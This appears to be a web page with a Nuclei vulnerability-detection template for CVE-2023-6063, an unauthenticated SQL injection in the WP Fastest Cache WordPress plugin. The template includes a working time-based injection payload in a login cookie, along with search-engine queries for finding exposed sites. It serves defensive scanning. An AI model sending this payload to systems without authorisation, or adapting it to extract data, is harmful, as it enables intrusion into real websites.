WP Fastest Cache 1.2.2 - SQL Injection

ID: CVE-2023-6063

Severity: high

Author: DhiyaneshDK

Tags: time-based-sqli,cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache

Description

The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

YAML Source

id: CVE-2023-6063

info:
  name: WP Fastest Cache 1.2.2 - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
  remediation: Fixed in 1.2.2
  reference:
    - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/
    - https://wordpress.org/plugins/wp-fastest-cache/
    - https://github.com/motikan2010/CVE-2023-6063-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6063
    - https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6063
    cwe-id: CWE-89
    epss-score: 0.02974
    epss-percentile: 0.90865
    cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpfastestcache
    product: "wp_fastest_cache"
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/wp-fastest-cache/"
    fofa-query: "body=/wp-content/plugins/wp-fastest-cache/"
    publicwww-query: "/wp-content/plugins/wp-fastest-cache/"
  tags: time-based-sqli,cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache
flow: |
    if (http(1)) {
        for (let i = 0; i < 2; i++) {
            http(2);
        }}

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Fastest Cache")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: wordpress_logged_in=" AND (SELECT 5025 FROM (SELECT(SLEEP(7)))NkcI) AND "tqKU"="tqKU

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "/wp-")'
        condition: and
# digest: 4b0a00483046022100b60cb97729f689011952f6766c4637b91034be0bbf274b13deb804693a8284bc022100a8b5088c8de3f4253d2643f97bb27831eebf369a8544b2a8fa55a7f965546bbb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6063.yaml"

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